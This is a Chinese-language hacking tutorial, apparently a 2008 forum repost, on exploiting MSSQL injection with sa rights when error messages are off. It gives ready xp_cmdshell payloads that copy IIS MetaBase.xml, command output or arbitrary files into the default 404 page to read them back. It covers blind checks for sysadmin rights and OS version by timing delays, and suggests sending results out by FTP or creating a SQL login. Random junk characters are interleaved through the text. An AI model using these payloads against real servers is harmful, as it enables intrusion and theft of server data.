遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
7 M: p" ]/ h# a. ]; i* y* c5 K
4 S- `1 Y* P. Q: u, W9 a8 z 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。8 `$ A0 ]/ }, {2 W3 r" T
; _. a1 K8 ]4 S+ j 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
" L$ [4 X' @3 G; j2 F1 t m- s; L. u
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
+ j6 c- } S5 q, s& ], l$ x3 g: r5 w0 x W- Z" E2 |
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--: a1 _' Y( j7 |0 c# |% I8 y
2 ~# |1 U/ F; s& M5 C+ {( W. g
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。% G' |/ m' B! \# t$ n# R9 }& B
0 j$ B5 r/ ^' t( {+ o2 K
执行命令得到回显
: p) C: j2 W: n6 p1 I& }2 R' p4 T4 ~. u; c
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
5 b( w% F) H+ j# X* V0 _
+ L# A) W0 ~$ i4 M( C 得到文件也shi相同,把文件copy到404b.htm就行了' C, a" J. N$ i1 c1 N4 Y
0 J4 n1 _; O3 [9 m8 e0 }7 e$ N by 28ice, 2008/6/26( v9 W z$ U( g* y2 Q% {4 @+ z
7 {) d% T" S- R. M& z9 k/ d: c 摘自 28度的冰2 `* G$ _) n- T) Z) ]& e' y/ t' Y# G
/ s- O7 k z5 B" I6 r& i 盲注判断权限和操作系统版本
5 t1 i* p5 m+ N% U0 W! R' K% ?6 W% Z% p5 S
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
- Z& j& L( w7 L$ v5 q$ w
. R8 a6 S5 Y( l) q* T5 V0 w1 b 最简单的,可能以用这样的方法:2 ~. \/ {/ i+ _. L
' {# f: |2 L6 J7 i7 [- o
1=(select IS_SRVROLEMEMBER(’sysadmin’)). N1 H% i. J" A. s0 K
, w( |7 m5 J6 Q 当然,有些情况下,这个方法并不奏效。+ Z" A+ U& O" n. r: q# Q: |
5 e0 Y3 @; e6 [, F) [- c 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。$ r3 u7 e9 h& z. @* }
8 W3 c6 f' \# c2 `1 q 有个3办法可能以解决这个问题7 | U% I$ T. Y/ o
' [! a3 X$ G$ e6 O2 |9 g6 i
a.把执行结果写到404b.htm,具体请看我的上一篇文章
4 Q! }5 Q' Q) [8 q+ G: \3 r0 `6 f% l3 j2 Z0 j
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟* W2 x5 g: F2 w, {7 r& @
% r) [2 R& E& Z+ W6 i# M c.如果1433端口可能以连接,那干脆新建个sql登录
# o1 ^; M0 S& u. \; q+ u, b _! @1 w7 A+ j9 Q
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数+ p6 ~ d- O$ w" g! c: M
2 g8 H6 p% t) t. p- v
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下; a# J. c; }5 s8 T* c# J) E: q. |
0 m6 x1 I( i5 D$ Q% O: S0 s 很简单7 r. c% B' U& W% Q4 N
. p# {2 a$ q% B2 W 执行systeminfo
3 e" J* v8 |" q! }: H! E( ]7 k# X7 i2 p% h1 ]4 Y; L
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |